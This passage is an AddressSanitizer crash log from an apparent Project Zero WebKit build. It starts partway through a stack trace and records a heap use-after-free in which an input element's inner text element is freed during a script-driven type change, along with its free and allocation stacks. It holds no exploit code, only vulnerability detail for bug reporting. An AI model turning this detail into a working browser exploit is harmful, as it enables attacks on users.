    #24 0x109744b35 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8bcb35)
    #25 0x109745c83 in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8bdc83)
    #26 0x1097456aa in WebCore::EventDispatcher::dispatchEvent(WebCore::Node&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8bd6aa)
    #27 0x109679b62 in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7f1b62)
    #28 0x109588aef in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x700aef)
    #29 0x10958388e in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6fb88e)
    #30 0x1098ef3a1 in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa673a1)
    #31 0x1098ec8da in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa648da)
    #32 0x1095a10ad in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7190ad)
    #33 0x109a9b79d in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1379d)
    #34 0x10963624c in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7ae24c)
    #35 0x1095fa86f in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x77286f)
    #36 0x1096028f5 in WebCore::DocumentLoader::maybeLoadEmpty() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x77a8f5)
    #37 0x109602cd7 in WebCore::DocumentLoader::startLoadingMainResource() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x77acd7)
    #38 0x1098f73a9 in WebCore::FrameLoader::continueLoadAfterNavigationPolicy(WebCore::ResourceRequest const&, WebCore::FormState*, bool, WebCore::AllowNavigationToInvalidURL) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6f3a9)
    #39 0x10ae11275 in std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>::operator()(WebCore::ResourceRequest const&, WebCore::FormState*, bool) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1f89275)
    #40 0x10ae110cf in WebCore::PolicyCallback::call(bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1f890cf)
    #41 0x10ae12a6a in WebCore::PolicyChecker::continueAfterNavigationPolicy(WebCore::PolicyAction) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1f8aa6a)
    #42 0x101bc15ee in std::__1::function<void (WebCore::PolicyAction)>::operator()(WebCore::PolicyAction) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x5ac5ee)
    #43 0x101bc1446 in WebKit::WebFrame::didReceivePolicyDecision(unsigned long long, WebCore::PolicyAction, unsigned long long, WebKit::DownloadID) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x5ac446)
    #44 0x101bd181c in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForNavigationAction(WebCore::NavigationAction const&, WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, std::__1::function<void (WebCore::PolicyAction)>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x5bc81c)
    #45 0x10ae1242a in WebCore::PolicyChecker::checkNavigationPolicy(WebCore::ResourceRequest const&, bool, WebCore::DocumentLoader*, WebCore::FormState*, std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1f8a42a)
    #46 0x1098f6208 in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6e208)
    #47 0x1098f4eed in WebCore::FrameLoader::loadWithNavigationAction(WebCore::ResourceRequest const&, WebCore::NavigationAction const&, WebCore::LockHistory, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6ceed)
    #48 0x1098f1c39 in WebCore::FrameLoader::loadURL(WebCore::FrameLoadRequest const&, WTF::String const&, WebCore::FrameLoadType, WebCore::Event*, WebCore::FormState*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa69c39)
    #49 0x1098f0210 in WebCore::FrameLoader::loadURLIntoChildFrame(WebCore::URL const&, WTF::String const&, WebCore::Frame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa68210)
    #50 0x101bd8805 in WebKit::WebFrameLoaderClient::createFrame(WebCore::URL const&, WTF::String const&, WebCore::HTMLFrameOwnerElement*, WTF::String const&, bool, int, int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x5c3805)
    #51 0x10b67e168 in WebCore::SubframeLoader::loadSubframe(WebCore::HTMLFrameOwnerElement&, WebCore::URL const&, WTF::String const&, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27f6168)
    #52 0x10b67c175 in WebCore::SubframeLoader::loadOrRedirectSubframe(WebCore::HTMLFrameOwnerElement&, WebCore::URL const&, WTF::AtomicString const&, WebCore::LockHistory, WebCore::LockBackForwardList) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27f4175)
    #53 0x10b67bd87 in WebCore::SubframeLoader::requestFrame(WebCore::HTMLFrameOwnerElement&, WTF::String const&, WTF::AtomicString const&, WebCore::LockHistory, WebCore::LockBackForwardList) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27f3d87)
    #54 0x109ae195c in WebCore::HTMLFrameElementBase::openURL(WebCore::LockHistory, WebCore::LockBackForwardList) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc5995c)
    #55 0x10921edb8 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChangeSource) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x396db8)
    #56 0x10921d69a in WebCore::ContainerNode::parserAppendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x39569a)
    #57 0x109a7309c in WebCore::executeInsertTask(WebCore::HTMLConstructionSiteTask&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbeb09c)
    #58 0x109a6c007 in WebCore::HTMLConstructionSite::executeQueuedTasks() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe4007)
    #59 0x109a9cd48 in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14d48)
    #60 0x109a9c902 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14902)
    #61 0x109a9bb94 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc13b94)
    #62 0x109a9d58d in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1558d)
    #63 0x10950a661 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x682661)
    #64 0x1096361f8 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7ae1f8)
    #65 0x1095fa86f in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x77286f)
    #66 0x1090dafb7 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x252fb7)
    #67 0x1090d5b69 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24db69)
    #68 0x10b6867e4 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27fe7e4)
    #69 0x101ef3615 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8de615)
    #70 0x101ef2c2a in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8ddc2a)
    #71 0x1018a11f9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x28c1f9)
    #72 0x1016c4448 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xaf448)
    #73 0x1016cd614 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb8614)
    #74 0x106bb2a04 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b6a04)
    #75 0x106bb4f1e in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b8f1e)
    #76 0x7fff9632c7e0 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xaa7e0)
    #77 0x7fff9630bf1b in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x89f1b)
    #78 0x7fff9630b43e in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x8943e)
    #79 0x7fff9630ae37 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88e37)
    #80 0x7fff8c19a934 in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30934)
    #81 0x7fff8c19a76e in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x3076e)
    #82 0x7fff8c19a5ae in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x305ae)
    #83 0x7fff89fc5df5 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48df5)
    #84 0x7fff89fc5225 in -[NSApplication _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48225)
    #85 0x7fff89fb9d7f in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3cd7f)
    #86 0x7fff89f83367 in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x6367)
    #87 0x7fff82345193 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x11193)
    #88 0x7fff82343bbd in xpc_main (/usr/lib/system/libxpc.dylib+0xfbbd)
    #89 0x1015fcb73 in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
    #90 0x7fff89ec35ac in start (/usr/lib/system/libdyld.dylib+0x35ac)

0x60800005a3b4 is located 20 bytes inside of 96-byte region [0x60800005a3a0,0x60800005a400)
freed by thread T0 here:
    #0 0x103bcfcf4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4bcf4)
    #1 0x106bfd36f in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190136f)
    #2 0x10b85d0cb in WTF::RefPtr<WebCore::TextControlInnerTextElement>::operator=(std::nullptr_t) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x29d50cb)
    #3 0x10b85cfd9 in WebCore::TextFieldInputType::destroyShadowSubtree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x29d4fd9)
    #4 0x109af255f in WebCore::HTMLInputElement::updateType() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc6a55f)
    #5 0x109af3972 in WebCore::HTMLInputElement::parseAttribute(WebCore::QualifiedName const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc6b972)
    #6 0x109710bff in WebCore::Element::attributeChanged(WebCore::QualifiedName const&, WTF::AtomicString const&, WTF::AtomicString const&, WebCore::Element::AttributeModificationReason) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x888bff)
    #7 0x10971ef61 in WebCore::Element::didModifyAttribute(WebCore::QualifiedName const&, WTF::AtomicString const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x896f61)
    #8 0x109710698 in WebCore::Element::setAttributeInternal(unsigned int, WebCore::QualifiedName const&, WTF::AtomicString const&, WebCore::Element::SynchronizationOfLazyAttribute) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x888698)
    #9 0x10a379db6 in WebCore::setJSHTMLInputElementTypeFunction(JSC::ExecState&, WebCore::JSHTMLInputElement&, JSC::JSValue, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x14f1db6)
    #10 0x10a370eef in bool WebCore::BindingCaller<WebCore::JSHTMLInputElement>::setAttribute<&(WebCore::setJSHTMLInputElementTypeFunction(JSC::ExecState&, WebCore::JSHTMLInputElement&, JSC::JSValue, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, long long, long long, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x14e8eef)
    #11 0x105a0ab58 in JSC::callCustomSetter(JSC::ExecState*, bool (*)(JSC::ExecState*, long long, long long), bool, JSC::JSValue, JSC::JSValue) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x70eb58)
    #12 0x105a0ac85 in JSC::callCustomSetter(JSC::ExecState*, JSC::JSValue, bool, JSC::JSObject*, JSC::JSValue, JSC::JSValue) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x70ec85)
    #13 0x1063edf95 in JSC::JSObject::putInlineSlow(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x10f1f95)
    #14 0x1065a2223 in llint_slow_path_put_by_id (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12a6223)
    #15 0x1065bdbfd in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c1bfd)
    #16 0x1065c126c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c526c)
    #17 0x1065ba83a in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12be83a)
    #18 0x10627947d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf7d47d)
    #19 0x106203aa3 in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf07aa3)
    #20 0x1058f5991 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9991)
    #21 0x1058f5abb in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9abb)
    #22 0x1058f5e06 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9e06)
    #23 0x109f3ab2e in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x10b2b2e)
    #24 0x10a220786 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1398786)
    #25 0x10977ba05 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8f3a05)
    #26 0x10977b52f in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8f352f)
    #27 0x109744b35 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8bcb35)
    #28 0x109744ef4 in WebCore::MouseOrFocusEventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8bcef4)
    #29 0x109745c83 in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8bdc83)

previously allocated by thread T0 here:
    #0 0x103bcf790 in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4b790)
    #1 0x7fff824145a0 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib+0x25a0)
    #2 0x106c06db4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190adb4)
    #3 0x106bfc12b in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190012b)
    #4 0x106b93995 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1897995)
    #5 0x10b843429 in WebCore::TextControlInnerTextElement::create(WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x29bb429)
    #6 0x10b85bd3c in WebCore::TextFieldInputType::createShadowSubtree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x29d3d3c)
    #7 0x109aef4e3 in WebCore::HTMLInputElement::didAddUserAgentShadowRoot(WebCore::ShadowRoot*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc674e3)
    #8 0x109713393 in WebCore::Element::addShadowRoot(WTF::Ref<WebCore::ShadowRoot>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x88b393)
    #9 0x109713d35 in WebCore::Element::ensureUserAgentShadowRoot() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x88bd35)
    #10 0x109af5144 in WebCore::HTMLInputElement::initializeInputType() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc6d144)
    #11 0x109711d77 in WebCore::Element::parserSetAttributes(WTF::Vector<WebCore::Attribute, 0ul, WTF::CrashOnOverflow, 16ul> const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x889d77)
    #12 0x109a6ffd0 in WebCore::HTMLConstructionSite::createHTMLElementOrFindCustomElementInterface(WebCore::AtomicHTMLToken&, WebCore::JSCustomElementInterface**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe7fd0)
    #13 0x109a6f1a5 in WebCore::HTMLConstructionSite::createHTMLElement(WebCore::AtomicHTMLToken&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe71a5)
    #14 0x109a70621 in WebCore::HTMLConstructionSite::insertSelfClosingHTMLElement(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe8621)
    #15 0x109bcc698 in WebCore::HTMLTreeBuilder::processStartTagForInBody(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd44698)
    #16 0x109bc94d6 in WebCore::HTMLTreeBuilder::processStartTag(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd414d6)
    #17 0x109bc767e in WebCore::HTMLTreeBuilder::constructTree(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd3f67e)
    #18 0x109a9cd48 in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14d48)
    #19 0x109a9c902 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14902)
    #20 0x109a9bb94 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc13b94)
    #21 0x109a9d58d in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1558d)
    #22 0x10950a661 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x682661)
    #23 0x1096361f8 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7ae1f8)
    #24 0x1095fa86f in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x77286f)
    #25 0x1090dafb7 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x252fb7)
    #26 0x1090d5b69 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24db69)
    #27 0x10b6867e4 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27fe7e4)
    #28 0x101ef3615 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8de615)
    #29 0x101ef2c2a in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8ddc2a)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x84ac) in WebCore::Node::getFlag(WebCore::Node::NodeFlags) const
Shadow bytes around the buggy address:
  0x1c100000b420: fa fa fa fa 00 00 00 00 00 00 00 fc fc 00 00 fa
  0x1c100000b430: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c100000b440: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c100000b450: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x1c100000b460: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1c100000b470: fa fa fa fa fd fd[fd]fd fd fd fd fd fd fd fd fd
  0x1c100000b480: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x1c100000b490: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c100000b4a0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c100000b4b0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x1c100000b4c0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
